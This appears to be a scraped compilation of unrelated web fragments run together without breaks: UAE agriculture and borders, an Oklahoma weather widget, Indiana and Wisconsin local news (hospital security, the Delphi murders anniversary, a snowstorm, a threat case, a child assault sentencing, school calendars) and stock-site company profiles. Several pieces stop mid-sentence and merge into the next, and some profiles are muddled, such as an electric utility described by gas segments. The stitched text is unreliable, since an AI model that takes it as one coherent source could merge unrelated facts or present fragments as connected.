Given that the country experiences mainly the desert climate, the arable land is estimated to be approximately 1% of the total land area. The total area under permanent crop is 2.4% of the total land area, most of which is artificially irrigated. The UAE has been working on increasing the size of land under agriculture, with research on fertilization and soil fertility technologies. Approximately 16% of the population live in rural areas and depend mainly on agriculture. The fertile agricultural land is common around the oases and seasonal river banks. Despite the aridity, the Emirates has developed thriving agriculture leading to self-sufficiency in certain vegetable crops. The UAE has approximately 40 million date palm trees, the highest concentration of palm trees in the world. Meat and dairy industries are also growing in the country.

Solar Energy

The UAE is one of the countries with the highest sun exposure rates in the world, making it a potential place for renewable energy. The government is taking advantage of sun exposure and the potential for renewable energy to establish a clean energy strategy. By 2050, the country hopes to have a balance between energy production and consumption, with solar energy playing a key role in achieving this. The energy equation targeted by then is as follows; 44% renewable energy, 38% gas, 13% coal, and 6% nuclear.

UAE's Land Boundaries

Its land border with Qatar in the region of Khawr al Udayd is a source of ongoing dispute between the two countries. In fact, the two countries dispute whether they share a land border. The UAE covers a total area of approximately 83,600 square kilometers. However, the exact total area is not known since it also lays claim to other islands in the Persian Gulf. Also, there is no demarcation between the UAEs land boundaries with other countries, especially Saudi Arabia.Woodward, OK (73801)

Today

Windy with a mix of clouds and sun. A stray afternoon thunderstorm is possible. High 102F. Winds SSW at 20 to 30 mph..

Tonight

Some clouds. Low 76F. Winds SSW at 15 to 25 mph.A family is trying to get their heirlooms back after they were stolen right out of their driveway. Now theyre asking people across the state to help them track down a trailer full of irreplaceable items.LAFAYETTE, Ind. (WLFI)- Franciscan Health is cracking down on security at its East campus. The hospital is making changes to ensure the safety of everyone in the building.

The new security measures include closing all entrances at 8 p.m. daily. Guests will be allowed to exit any entrance but will only be allowed to re-enter the building through the south entrance. The south entrance, where the emergency center is located, will remain open 24/7.

The center for women and children entrance will remain open for expecting mothers only.

Among the new security measures, visitation hours have also changed. Guests are allowed to visit every day between 8 a.m. and 8 p.m. A reminder will be announced each night when visiting hours are over.

Terry Wilson, President and CEO of Franciscan Alliance Hospital in Western Indiana, said past experiences are what led to the changes.

"We've had incidents where we didn't think our staff were safe and we've had incidents where people brought things into the hospital that they shouldn't, that doesn't make for a safe hospital," said Wilson.

Wildon said the changes are all about providing good and safe service.

"A good sized hospital at night can't have people wandering to places that they don't have business. We're responsible for everybody in that building; every patient, every visitor, every staff person."

The changes officially started on Monday.

Wilson told News 18 Franciscan welcomes the community's input in regards to the new changes.DELPHI, Ind. (WLFI)  Indiana State Police held a news conference Wednesday regarding the open double-murder investigation in Delphi. Wednesday marks two years since Abigail Williams and Liberty German were killed walking along the Delphi Historic Trails.

The news conference started at 1:30 p.m. at the Carroll County Courthouse on Main Street.

Related: Timeline of Delphi Homicides

Multiple agencies were present including the FBI, ISP and investigators from Carroll County.

The Delphi United Methodist Church will also hold a candlelight vigil for Abby and Libby from 5 to 7 p.m. You can also bring by non-perishable food in their honor. The church is located at 1796 U.S. 421, Delphi, IN 46923.

On the one-year anniversary, ISP Superintendent Doug Carter said the homicide was "far from a cold case."

News 18 spoke to Carroll County Sheriff Tobe Leazenby ahead of the two-year anniversary. He was not able to go into detail about the news conference on Wednesday. He did want to applaud the girls' families for spreading information about this case locally and nationally.

Leazenby said they have shown perseverance along with the investigators.

"When I say investigators, I talk about the ones at the beginning and also our current core investigators involved," said Leazenby. "Just their willingness to stick to this until we gain justice for Abby and Libby."

Family members said it's difficult to believe two years have passed, but not a day goes by they don't replay February 13th and 14th in their heads. In this second year, they are focused on moving forward.

"Because it is hard to imagine doing this everyday, living in grief so to speak, because that's what it would be," said Abby's mother Anna. "It wouldn't just be mine, it would be somebody else's and it's kind of like 'wow that's a lot.'"

"Catching this guy is not going to fix all that," said Libby's Grandfather Mike Patty. "It's not going to bring the girls back, but it will provide a piece of justification knowing he's not out there walking around a free man."

"It has, to a certain degree, drawn the community closer and has made us that much stronger," Sheriff Leazenby said. "We obviously had that low spot two years ago and still obviously you feel the effects of that."

The girls were dropped off by a family member to walk near the Monon High Bridge on Feb. 13, 2017, but they never showed when they were supposed to be picked up. The next day, their bodies were found less than a mile upstream from where they were last seen.

Police have received thousands of tips, but none have yet to lead to an arrest in this investigation.

Investigators in Carroll County released an audio clip of who they believe is the main suspect. They say the clip and two blurry pictures were captured from Libby's phone.

A police sketch was released on July 17, just five months after their deaths. Indiana State Police said the alleged killer is 5'6 to 5'10, 180 to 220 pounds with "reddish-brown" hair. Police said the man has an unknown eye color, but "definitely not blue."

Anyone with information on the deaths of Abby and Libby can call the tip line at (844) 459-5786 or email abbyandlibbytip@cacoshrf.com.I-65 at Indiana 25 interchange is closed in both direction due to an accident from icy roadway. There are multiple other accidents in the area. Visibility is poor with widespread blowing & drifting snow with continued falling snow, high winds with a few isolated power outages & falling temperatures. It is rough out there! Be careful!

Snowfall totals (although difficult to measure) have varied from 1.7" far north to trace amounts in the far southwest. I have measured 0.7" so far here at the television station in West Lafayette on the snowboard as of 10 p.m.

NIPSCO has no reported outages, but Duke Energy has a few isolated ones & TIPMONT is reporting a power outage at Linden.

Benton County is under a Travel Watch. Other counties have travel advisories. However, it is rough, no matter where you go with worsening conditions as you go north & westward in the viewing area.

Measured gusts so far this evening:

56 mph 1 SW 52/Veteran's Memorial (Lafayette)

50 mph Forest (Clinton County)

50 mph Fowler

48 mph Round Grove

47 mph Purdue University Airport

46 mph Kentland Municipal Airport

46 mph Morocco

46 mph Logansport-Cass County Airport

46 mph WLFI

45 mph 3 SW Rossville

45 mph I-65/Indiana 28 (Frankfort)

45 mph 4 NE Monon

45 mph 2 N Rensselaer

44 mph Frankfort Municipal Airport

43 mph 8 NE Rensselaer

43 mph Grissom ARB

43 mph Crawfordsville Municipal Airport

42 mph Attica

41 mph Flora Municipal Airport

41 mph 3 SE Pine Village

41 mph 1 S Beard

40 mph Rensselaer-Jasper County Airport

39 mph Monticello-White County Airport

39 mph 3 SE Crawfordsville

39 mph 6 WNW Kentland

39 mph 4 NW Rochester

38 mph Rochester-Fulton County Airport

38 mph Peru Municipal Airport

38 mph Winamac

37 mph 4 NW Pence (Warren County)

35 mph 1 SE Mulberry

__________________________________________________________________________________________________

Waves of wind-driven snow with gusts 35-55 mph will continue over the next several hours with bad conditions out there.

Snow wil decrease to flurries & snow showers overnight to early morning, but winds may still gust from the west to west-northwest at 30-40 mph into tomorrow morning with blowing & drifting snow.

With any flakes ending & some clearing, gusts will decrease to 20-30 mph by midday-early afternoon, then just 10-15 mph by late afternoon (with highs 27-32) tomorrow. Wind chills tomorrow morning will run -5 to 3 with temperatures in the upper teens to around 20.

Roads will be slippery in the morning/

Now to noon tomorrow:

The Thursday-Thursday night system looks less in the way of rain & snow, but the same with the high winds.

Gusts Thursday of up to 45 mph from the southwest, then northwest are possible. Gusts to 35 mph may continue to Friday morning as temperatures drop to near 17, resulting in wind chills below 0.

Rainfall should remain under 0.10" & snowfall should be local & under 0.4". It still could be enough to dust, coat & cause a few little slick spots.

Clipper will pass just south of the viewing area Saturday. We need to watch it, if it tracks a bit more to the north, it would bring minor accumulating snowfall of 1-3" here.

Accumulating snowfall from Colorado low is possible Sunday. There are indications of 3-5" by Monday morning, but confidence is medium. It is high enough to mention amounts, but not high enough to be really firm on that.

Looks like wind from the northeast up to 32 mph with the snow & then after the snow may be an issue. So, substantial blowing & drifting could occur area-wide with temperatures in the 20s.

Additional accumulating snowfall is possible mid-next week from a Colorado low or Panhandle low.Armstrong World Industries, Inc., together with its subsidiaries, designs, manufactures, and sells ceiling systems primarily for use in the construction and renovation of residential and commercial buildings in the United States, Canada, and Latin America. The company operates through Mineral Fiber and Architectural Specialties segments. The company produces suspended mineral fiber, soft fiber, fiberglass wool, and metal ceiling systems, as well as wood, wood fiber, glass-reinforced-gypsum, and felt ceiling and wall systems; ceiling component products, such as ceiling perimeters and trims, as well as grid products that support drywall ceiling systems; ceilings and walls for use in commercial settings; and acoustical controls and architectural cast ceilings, walls, facades, columns, and moldings solutions. It sells its commercial ceiling and architectural specialties products to resale distributors and ceiling system contractors; and residential ceiling products to wholesalers and retailers, such as large home centers. The company was incorporated in 1891 and is headquartered in Lancaster, Pennsylvania.

Read MoreThe Southern Company, through its subsidiaries, engages in the generation, transmission, and distribution of electricity. It operates in four segments: Gas Distribution Operations, Gas Pipeline Investments, Wholesale Gas Services, and Gas Marketing Services. The company also constructs, acquires, owns, and manages power generation assets, including renewable energy and battery energy storage projects and sells electricity in the wholesale market; and distributes natural gas in Illinois, Georgia, Virginia, and Tennessee, as well as provides gas marketing services, wholesale gas services, and gas pipeline investments operations. It owns and/or operates 30 hydroelectric generating stations, 24 fossil fuel generating stations, 3 nuclear generating stations, 13 combined cycle/cogeneration stations, 44 solar facilities, 13 wind facilities, 1 fuel cell facility, and 1 battery storage facility; and constructs, operates, and maintains 75,924 miles of natural gas pipelines and 14 storage facilities with total capacity of 157 Bcf to provide natural gas to residential, commercial, and industrial customers. The company serves approximately 8.6 million electric and gas utility customers. It also provides products and services in the areas of energy efficiency, and utility infrastructure. In addition, the company offers digital wireless communications and fiber optics services. The Southern Company was incorporated in 1945 and is headquartered in Atlanta, Georgia.

Read MoreSempra Energy operates as an energy-services holding company in the United States and internationally. The company's San Diego Gas & Electric Company segment generates, transmits, and distributes electricity; and supplies natural gas. It offers electric services to approximately 3.7 million population and natural gas services to approximately 3.4 million population that covers 4,100 square miles. Its Southern California Gas Company segment owns and operates a natural gas distribution, transmission, and storage system that supplies natural gas to a population of approximately 22 million covering an area of 24,000 square miles. The company's Sempra Texas Utilities segment is involved in the regulated transmission and distribution of electricity serving 3.7 million homes and businesses, and operation of 139,000 miles of transmission and distribution lines. Its transmission system includes 18,127 circuit miles of transmission lines, 336 transmission stations, and 806 distribution substations; distribution system comprises 121,129 miles of overhead and underground lines; and 63 miles of electric transmission lines. Its Sempra Mexico segment develops, owns, operates, or holds interests in natural gas, electric, liquefied natural gas (LNG), liquid petroleum gas (LPG), ethane, and liquid fuels infrastructure; and purchases LNG, and purchases and sells natural gas. This segment operates natural-gas-fired, and wind and solar power generation facilities. Its assets/facilities consist of 1,850 miles of natural gas transmission pipelines, 15 compressor stations, and 139 miles of ethane pipelines; and 2,729 miles of natural gas distribution pipelines. The company's Sempra LNG segment develops and builds natural gas liquefaction export facilities; holds an interest in a facility for the export of LNG; owns and operates natural gas pipelines; and buys, sells, and transports natural gas. The company was founded in 1998 and is headquartered in San Diego, California.

Read More American Consumer News, LLC dba MarketBeat 2010-2021. All rights reserved.

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 2021 Market data provided is at least 10-minutes delayed and hosted by Barchart Solutions. Information is provided 'as-is' and solely for informational purposes, not for trading purposes or advice, and is delayed. To see all exchange delays and terms of use please see disclaimer. Fundamental company data provided by Zacks Investment Research.Newell Brands Inc. designs, manufactures, sources, and distributes consumer and commercial products worldwide. Its Appliances and Cookware segment offers household products, including kitchen appliances, gourmet cookware, bakeware, and cutlery under the Calphalon, Crock-Pot, Mr. Coffee, Oster, and Sunbeam brands. The company's Commercial Solutions segment provides commercial cleaning and maintenance solutions; closet and garage organization; hygiene systems and material handling solutions; and home and security, and smoke and carbon monoxide alarms products under the BRK, First Alert, Mapa, Quickie, Rubbermaid, Rubbermaid Commercial Products, and Spontex brands. Its Home Solutions segment offers food and home storage; fresh preserving; vacuum sealing; and home fragrance products under the Ball, Chesapeake Bay Candle, FoodSaver, Rubbermaid, Sistema, WoodWick, and Yankee Candle brands. The company's Learning and Development segment provides writing instruments, including markers and highlighters, pens, and pencils; art products; activity-based adhesive and cutting products; labeling solutions; and baby gear and infant care products under the Aprica, Baby Jogger, Dymo, Elmer's, EXPO, Graco, Mr. Sketch, NUK, Paper Mate, Parker, Prismacolor, Sharpie, Tigex Waterman, and X-Acto brands. Its Outdoor and Recreation segment offers products for outdoor and outdoor-related activities under the Coleman, Contigo, ExOfficio, and Marmot brands. The company markets its products to warehouse clubs, department stores, drug/grocery stores, mass merchants, specialty retailers, distributors and e-commerce companies, home centers, sporting goods retailers, office superstores and supply stores, contract stationers, and travel retailers. The company was formerly known as Newell Rubbermaid Inc. and changed its name to Newell Brands Inc. in April 2016. Newell Brands Inc. was founded in 1903 and is based in Atlanta, Georgia.

Read MoreThe following companies are subsidiares of Molina Healthcare: Aetna & Humana - Medicare Advantage, Affinity Health Plan, AmericanWork Inc., Better Health Network, Camelot Care Centers Inc, Children's Behavioral Health Inc., Choices Group Inc., College Community Services, Dockside Services Inc, Family Preservation Services Inc., Family Preservation Services of Florida Inc., Family Preservation Services of North Carolina Inc., Family Preservation Services of Washington D.C. Inc., Family Preservation Services of West Virginia Inc., Florida NetPASS LLC, Hclb Inc., Magellan Complete Care, Maple Star Nevada Inc., Maple Star Oregon Inc., Mercy CarePlus, Molina Clinical Services LLC, Molina Healthcare Data Center Inc., Molina Healthcare of Arizona Inc., Molina Healthcare of California, Molina Healthcare of Florida Inc., Molina Healthcare of Georgia Inc., Molina Healthcare of Illinois Inc., Molina Healthcare of Iowa Inc., Molina Healthcare of Louisiana Inc., Molina Healthcare of Maryland Inc., Molina Healthcare of Michigan Inc., Molina Healthcare of Mississippi Inc., Molina Healthcare of Nevada Inc., Molina Healthcare of New Mexico Inc., Molina Healthcare of New York Inc., Molina Healthcare of North Carolina Inc., Molina Healthcare of Ohio Inc., Molina Healthcare of Oklahoma Inc., Molina Healthcare of Pennsylvania Inc., Molina Healthcare of Puerto Rico Inc., Molina Healthcare of South Carolina LLC, Molina Healthcare of Texas Inc., Molina Healthcare of Texas Insurance Company, Molina Healthcare of Utah Inc., Molina Healthcare of Virginia Inc., Molina Healthcare of Washington Inc., Molina Healthcare of Wisconsin Inc., Molina Holdings Corporation, Molina Hospital Management LLC, Molina Information Systems LLC dba Molina Medicaid Solutions, Molina Medical Management Inc., Molina Pathways LLC, Molina Pathways of Texas Inc., Molina Youth Academy, NextLevel Health Illinois, Pathways Community Corrections Inc., Pathways Community Services LLC, Pathways Community Support of Texas Inc., Pathways Health and Community Support LLC, Pathways Human Services LLC., Pathways of Arizona Inc., Pathways of Delaware Inc., Pathways of Idaho LLC, Pathways of Maine Inc., Pathways of Massachusetts LLC, Pathways of Oklahoma Inc., Pathways of Washington Inc., Providence Community Services, Providence Human Services, Raystown Developmental Services Inc., The Game of Work LLC, The RedCo Group Inc., Total Care Medicaid plan, Transitional Family Services Inc., Unisys -Health Information Management, and YourCare Health Plan.Allergan plc, a pharmaceutical company, develops, manufactures, and commercializes branded pharmaceutical, device, biologic, surgical, and regenerative medicine products worldwide. The company operates in three segments: US Specialized Therapeutics, US General Medicine, and International. It offers a portfolio of products in various therapeutic areas, including medical aesthetics and dermatology, eye care, neuroscience, urology, gastrointestinal, women's health, and anti-infective therapeutic products. The company also offers breast implants and tissue expanders; and RM-131 (relamorelin), a peptide ghrelin agonist for the treatment of diabetic gastroparesis. In addition, it develops medical and cosmetic treatments; therapies for non-alcoholic steatohepatitis and other liver diseases; inhibitor for the treatment of psoriasis and other autoimmune disorders; atopic dermatitis drug candidate; peri-ocular rings for extended drug delivery and reducing elevated intraocular pressure in glaucoma patients; and treatments for neurodegenerative disorders, including Alzheimer's disease. Further, the company develops RST-001, a novel gene therapy for the treatment of retinitis pigmentosa; small molecule therapeutics for inflammatory and fibrotic diseases; topical medicines for fat reduction; and delivery system and botulinum toxin-based prescription products. It has collaboration, option, and license agreement with Lyndra, Inc.; and strategic alliance and option agreement with Editas Medicine, Inc. Allergan plc also has licensing agreements with Assembly Biosciences, Inc.; MedImmune; and Heptares Therapeutics, Ltd. The company was formerly known as Actavis plc and changed its name to Allergan plc in June 2015. Allergan plc was founded in 1983 and is headquartered in Dublin, Ireland.

Read MoreVonage Holdings Corp. primarily operates as a business-to-business cloud communications company in the United States, Canada, the United Kingdom, the European Union, and Asia. It operates in two segments, Vonage Communications Platform and Consumer. The Vonage Communications Platform segment offers programmable, embeddable, and customizable application program interfaces that enable software developers to build communications capabilities, such as messaging and voice calling within their applications; and Vonage Contact Center, a cloud contact center solution. This segment also provides Vonage Business Communications, a cloud-native proprietary technology platform that delivers integrated unified communication services; and Vonage Business Enterprise, a cloud based platform for mid-market and enterprise customers that provides unified communication and collaboration services, including voice, data, video, mobile, and contact center services. The Consumer segment provides home telephone services through various service plans with basic features, including voicemail, call waiting, call forwarding, simulring, visual voicemail, and extensions, as well as area code selection, virtual phone number, and Web-enabled voicemail. In addition, the company provides procured high-speed broadband Internet services and Vonage-enabled devices. Vonage Holdings Corp. was incorporated in 2000 and is headquartered in Holmdel, New Jersey.

Read MoreFMC Corporation, an agricultural sciences company, provides crop protection, plant health, precision agriculture, and professional pest and turf management products. The company develop, markets, and sells crop protection chemicals that include insecticides, herbicides, and fungicides that are used in agriculture to enhance crop yield and quality by controlling a range of insects, weeds, and disease, as well as in non-agricultural markets for pest control. It also offers biologicals products, such as bionematicides under the Quartzo and Presence names. The company sells herbicides under the Authority, Boral, Centium, Command, and Gamit brands, as well as Isoflex active herbicide ingredients; Rynaxypyr and Cyazypyr active ingredients; and insecticides under the Talstar and Hero brands, as well as flutriafol-based fungicides. It sells its products through independent distributors and co-ops, and national and regional distributors, as well as sells directly to growers. The company operates in North America, Latin America, Europe, the Middle East, Africa, and Asia. FMC Corporation was founded in 1883 and is headquartered in Philadelphia, Pennsylvania.

Read MoreKeyCorp operates as the holding company for KeyBank National Association that provides various retail and commercial banking products and services in the United States. It operates in two segments, Consumer Bank and Commercial Bank. The company offers various deposits, investment products and services; and personal finance and financial wellness, student loan refinancing, mortgage and home equity, lending, credit card, treasury, business advisory, wealth management, asset management, cash management, portfolio management, and trust and related services to individuals and small and medium-sized businesses. It also provides a suite of banking and capital market products, such as syndicated finance, debt and equity capital market products, commercial payments, equipment finance, commercial mortgage banking, derivatives, foreign exchange, financial advisory, and public finance, as well as commercial mortgage loans comprising consumer, energy, healthcare, industrial, public sector, real estate, and technology loans for middle market clients. In addition, the company offers community development financing, securities underwriting, brokerage, and investment banking services. As of February 25, 2021, it operated through a network of approximately 1,000 branches and 1,400 ATMs in 15 states, as well as additional offices, online and mobile banking capabilities, and a telephone banking call center. KeyCorp, through its subsidiary, KeyBank National Association, has a strategic alliance with XUP, Inc. to provide digital and physical merchant services. The company was founded in 1849 and is headquartered in Cleveland, Ohio.

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 2021 Market data provided is at least 10-minutes delayed and hosted by Barchart Solutions. Information is provided 'as-is' and solely for informational purposes, not for trading purposes or advice, and is delayed. To see all exchange delays and terms of use please see disclaimer. Fundamental company data provided by Zacks Investment Research.Chubb Limited provides insurance and reinsurance products worldwide. The company's North America Commercial P&C Insurance segment offers commercial property, casualty, workers' compensation, package policies, risk management, financial lines, marine, construction, environmental, medical, cyber risk, surety, and excess casualty; and group accident and health insurance to large, middle market, and small commercial businesses. Its North America Personal P&C Insurance segment provides affluent and high net worth individuals and families with homeowners, automobile and collector cars, valuable articles, personal and excess liability, travel insurance, and recreational marine insurance and services. The company's North America Agricultural Insurance segment offers multiple peril crop and crop-hail insurance; and coverage for farm and ranch property, and commercial agriculture products. Its Overseas General Insurance segment provides coverage for traditional commercial property and casualty; specialty categories, such as financial lines, marine, energy, aviation, political risk, and construction risk; and group accident and health, and traditional and specialty personal lines for corporations, middle markets, and small customers through retail brokers, agents, and other channels. The company's Global Reinsurance segment offers traditional and specialty reinsurance under the Chubb Tempest Re brand to property and casualty companies. Its Life Insurance segment provides protection and savings products comprising whole life, endowment plans, individual term life, group term life, medical and health, personal accident, credit life, universal life, and unit linked contracts. Chubb has collaboration with Marsh to secure insurance coverage for the COVAX no-fault compensation program. The company was formerly known as ACE Limited and changed its name to Chubb Limited in January 2016. Chubb Limited was incorporated in 1985 and is headquartered in Zurich, Switzerland.

Read MoreBrookfield Asset Management is a leading global alternative asset manager and one of the largest investors in real assets. Our investment focus is on real estate, renewable power, infrastructure and private equity assets. Our objective is to generate attractive long-term risk-adjusted returns for the benefit of our clients and shareholders. We manage a range of public and private investment products and services for institutional and retail clients. We earn asset management income for doing so and align our interests with our clients by investing alongside them. We have an exceptionally strong balance sheet, with over $30 billion of capital invested, primarily in our four listed partnerships: Brookfield Property Partners, Brookfield Infrastructure Partners, Brookfield Renewable Partners and Brookfield Business Partners. This access to large-scale capital enables us to make investments in sizeable, premier assets across geographies and asset classes that few managers are able to do. We create value for BAM shareholders in the following ways: As an asset manager A- by investing both our own capital and that of our investors A- this enables us to increase the scale of our operations, and enhances our financial returns through base management fees and performance-based income; as an investor and capital allocator A- we strive to invest at attractive valuations, particularly in value-oriented situations that create opportunities for superior valuation gains and cash flow returns, or by monetizing assets at appropriate times to realize value; and as an owner-operator A- we constantly work to increase the value of the assets within our operating businesses and the cash flows they produce through our operating expertise, development capabilities and effective financing.

Read More44 minutes ago

| June 24th | 2021 1:38 PM

US economy grows 6.4% in Q1, and it's likely just the start

WASHINGTON (AP)  The U.S. economy grew at a solid 6.4% rate in the first three months of the year, setting the stage for what economists believe may be the strongest year for the economy in about seven decades. Growth in the gross domestic product, the country's total output of goods and services, was unchanged from two previous estimates,Kimberly-Clark Corporation, together with its subsidiaries, manufactures and markets personal care and consumer tissue products worldwide. It operates through three segments: Personal Care, Consumer Tissue, and K-C Professional. The Personal Care segment offers disposable diapers, training and youth pants, swimpants, baby wipes, feminine and incontinence care products, and other related products under the Huggies, Pull-Ups, Little Swimmers, GoodNites, DryNites, Sweety, Kotex, U by Kotex, Intimus, Depend, Plenitud, Softex, Poise, and other brand names. The Consumer Tissue segment provides facial and bathroom tissues, paper towels, napkins, and related products under the Kleenex, Scott, Cottonelle, Viva, Andrex, Scottex, Neve, and other brand names. The K-C Professional segment offers wipers, tissues, towels, apparel, soaps, and sanitizers under the Kleenex, Scott, WypAll, Kimtech, and KleenGuard brands. The company sells household use products directly to supermarkets, mass merchandisers, drugstores, warehouse clubs, variety and department stores, and other retail outlets, as well as through other distributors and e-commerce; and away-from-home use products directly to manufacturing, lodging, office building, food service, and public facilities, as well as through distributors and e-commerce. Kimberly-Clark Corporation was founded in 1872 and is headquartered in Dallas, Texas.

Read MoreCOPT is a REIT that owns, manages, leases, develops and selectively acquires office and data center properties. The majority of its portfolio is in locations that support the United States Government and its contractors, most of whom are engaged in national security, defense and information technology (AITA) related activities servicing what it believes are growing, durable, priority missions (ADefense/IT LocationsA). The Company also owns a portfolio of office properties located in select urban/urban-like submarkets in the Greater Washington, DC/Baltimore region with durable Class-A office fundamentals and characteristics (ARegional Office PropertiesA). As of December 31, 2020, the Company derived 87% of its core portfolio annualized rental revenue from Defense/IT Locations and 13% from its Regional Office Properties. As of the same date and including 17 properties owned through unconsolidated joint ventures, COPT's core portfolio of 179 office and data center shell properties encompassed 20.8 million square feet and was 95.0% leased; the Company also owned one wholesale data center with a critical load of 19.25 megawatts that was 86.7% leased.

Read MoreOracle Corporation provides products and services that address enterprise information technology environments worldwide. Its Oracle cloud software as a service offering include various cloud software applications, including Oracle enterprise resource planning (ERP) cloud, Oracle enterprise and performance management cloud, Oracle supply chain management cloud, Oracle human capital management cloud, Oracle customer experience cloud, and NetSuite application suite. The company also offers cloud-based industry solutions for various industries; Oracle application licenses; and Oracle license support services. In addition, it provides cloud and license business' infrastructure technologies, such as the Oracle Database, an enterprise database; Java, a software development language; and middleware, including development tools and others. The company's cloud and license business' infrastructure technologies also comprise cloud-based compute, storage, and networking capabilities through its Oracle cloud infrastructure as a service offerings. Further, it offers infrastructure offerings comprising Oracle autonomous data warehouse cloud service, Oracle autonomous transaction processing cloud service, Internet-of-Things, digital assistant, and Blockchain. Additionally, the company provides hardware products and other hardware-related software offerings, including Oracle engineered systems, enterprise servers, storage solutions, industry-specific hardware, virtualization software, operating systems, management software, and related hardware services. The company markets and sells its cloud, license, hardware, support, and services offerings directly to businesses in various industries, government agencies, and educational institutions, as well as through indirect channels. Oracle Corporation was founded in 1977 and is headquartered in Austin, Texas.

Read MoreIn his role as assistant superintendent for more than six years, Wright has worked tirelessly to help design and build new schools, renovate district buildings to be safe and secure and strengthen academic programs for all students, Sauk Prairie School District Superintendent Cliff Thompson said.

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Thompson described how Wright was charged with leading fundraising efforts as president of the Friends of the Great Sauk State Trail group, which has since produced two connecting phases from Sauk City through to the south end of Devils Lake State Park. Thompson said Wright helped build a powerful partnership between the school district, chamber of commerce and community businesses by participating on the Sauk Prairie Economic Development Committee.

German said Wright is a visionary who can also communicate the large picture  and is someone others are happy to follow and work with.

I believe Jeffs work on the Great Sauk State Trail was a huge achievement for the community over the past year, German said. For the last four years, he acted as the liaison locally with county and state leaders, along with soliciting a group of capital campaign volunteers who raised an incredible amount of money in a short time.A Madison man has been charged with threatening a law enforcement officer after prosecutors say he threatened to shoot a police chiefs fiancee via Facebook message.

Poynette Police Chief Eric Fisher reported Feb. 5 that he and his fiancee received threatening messages over Facebook Messenger Feb. 4. The messages were sent from a profile with the name James Blunt.

Fisher told the Portage Police Department that Tony White Freiberg, 29, has a history of sending similar threatening messages to Poynette police.

Prior to the Feb. 4 incident, Freiberg was cited by Poynette police for unlawful use of a telephone, the complaint states.

Portage police detectives contacted Freiberg on Feb. 6, and he allegedly admitted to sending the messages using the Facebook account.

I am going to shoot your fiance you filthy (expletive). Go bury yourself under a tombstone, Freiberg said, according to the criminal complaint.

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According to the complaint, a second message read: You are going to die bro and all your fellow officers. We are coming for you.Gov. Tony Evers says hes joining a group of governors vowing to combat climate change at the state level, in part by pursuing reduced greenhouse gas emissions.

The U.S. Climate Alliance, which aims to implement elements of the international Paris Agreement on climate change, includes governors from 20 states including Wisconsin, as well as Puerto Rico. It was formed in 2017 in response to President Donald Trumps announced intent to withdraw the United States from the agreement.

Wisconsin Manufacturers & Commerce, the states influential business lobby, criticized Evers for joining the alliance, saying it would harm Wisconsin manufacturers and boost the cost of energy.

Unfortunately, Gov. Evers choice to join the U.S. Climate Alliance is just another decision that will negatively impact our states economy, said the groups CEO, Kurt Bauer.

According to the Evers release, governors joining the alliance commit to implement policies that advance the goals of the Paris Agreement.

That includes aiming to reduce greenhouse gas emissions by at least 26-28 percent below 2005 levels by 2025, according to the release, as well as tracking and reporting progress and promoting clean energy development.A man who lived life guided by his heart, he gave every piece of himself if you gave him the opportunity. A graduate of Beaver Dam Senior High in 1989, Donny found his passion as a military intelligence officer in the U.S. Army following high school. At the end of his military service he accepted a position with The Analytical Sciences Corp. where he continued to flourish and prove to the world he was more than a rocker with a mullet, he was exceptional. Guided by his love for family and Wisconsin, he moved back home in 1998 where he worked a short time as a correctional officer. Donny found his own personal bliss in music, the Green Bay Packers and family. He grew to find happiness from the simplest of things, a lesson all who knew him benefited from.It will give a little wiggle room for things like late starts for fog events, DiStefano said. We are in uncharted territory right now.

DiStefano said Beaver Dam has missed six days due to the weather.

Although there are several districts in our region that have missed as many as eight or nine days of school already, the six we have missed as of Tuesday, is still unprecedented for our district, DiStefano said.

The students will return to school for summer school June 10. DiStefano said he felt extending the calendar was better than adding time to the days or taking away some of the in-service or spring break days.

The in-service days are important for training and growth for our staff, he said.

Also while many families may not make plans around spring break, there are those who have already planned a vacation around that time.

We cant afford to have 300 or 400 kids missing from school, DiStefano said.

DiStefano said he will present the additional school days to the school board during its monthly meeting March 11.JUNEAU  A 33-year-old Beaver Dam man will serve 25 years in prison after pleading no contest to sexually assaulting two young girls.

Roberto Rodriguez-Rodriguez was sentenced by Dodge County Circuit Court Judge Martin DeVries on two counts of first-degree sexual assault of a child under the age of 12. Six related charges were dismissed, but read into the record.

In addition to the 25 years of initial incarceration, Rodriguez-Rodriguez was sentenced to 20 more years of probation. Rodriguez-Rodriguez must report for life as a sex offender, and he cannot work or volunteer with children. He may not have contact with the victims or their families.

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According to the criminal complaint, two girls, ages 6 and 8, went to Rodriguez-Rodriguezs apartment July 5, 2017, to see his cat. The father of one of the girls contacted police the next day to report the assault. The two girls were crying when police arrived. The girls told police that when they went to the apartment, Rodriguez-Rodriguez took the two to his bedroom and sexually assaulted them.At last, squirrels have gotten the justice they deserve. After years of being held up as scapegoats for power outages, the rodents have been exonerated by the courts.

I take you to that hotbed of wisdom known as Iowa, where the state Supreme Court recently ruled that wayward electricity, not a squirrel, was to blame for $213,000 in damage to the city of West Libertys power substation.

The squirrel wasnt completely innocent. It climbed onto an electrical transformer, triggering a high-voltage spark that damaged the substation. This was bad news for West Liberty, whose insurance policy excluded damage caused by electrical arcs not related to lighting strikes. Dare I suggest West Liberty make a call to Liberty Mutual? Liberty, Liberty, Li-berty, Liii-bertyyy.

The city argued the squirrel caused the damage because it touched a 7,000-volt clamp and a grounded metal frame, causing an electrical arc and shorting out the equipment. This may seem like a risky way for a bushy-tailed pest to get its kicks, but there just isnt much else to do in Iowa.With recent outbreaks of measles in several states, the Sauk County Health Department is urging people to get vaccinated.

A small number of cases are capable of quickly producing epidemics, the agencys director, Tara Hayes, said of the acute, highly contagious viral disease.

Last years 372 cases of measles was the most in the United States since 2014, when 667 were reported, according to the Centers for Disease Control and Prevention. Outbreaks  meaning three or more cases of the disease  have been declared this year in Washington, Texas, New York state and New York City.

The CDC reported Monday that 101 individual cases of measles were confirmed in 10 states between Jan. 1 and Feb. 7.

Measles can be contracted at any age, although preschool children, adolescents, young adults and inadequately immunized individuals comprise the majority of U.S. cases, health officials say.

All 50 states have legislation requiring that students get specified vaccines, and Wisconsin is one of 17 states that grants an exemption to students who object to being immunized due to personal, moral or other beliefs, according to the National Conference of State Legislatures.Spring break will be moved to the last week of March next year under the 2019-20 Baraboo School District calendar approved at a board meeting Monday.

Students will start school Sept. 3 and finish the year on June 5, 2020. Most vacations will fall similarly to this year, with winter break spanning the last 1 weeks of December and the first day of January. Students will still be dismissed two hours early each Wednesday.

The biggest shift is spring break. This year, students have off April 15-19, while next year, the vacation will be March 23-27.

District Administrator Lori Mueller said district staff usually prefer March for spring break, but it worked out best to have it in April this year  the first time in the eight years Mueller has worked in Baraboo.

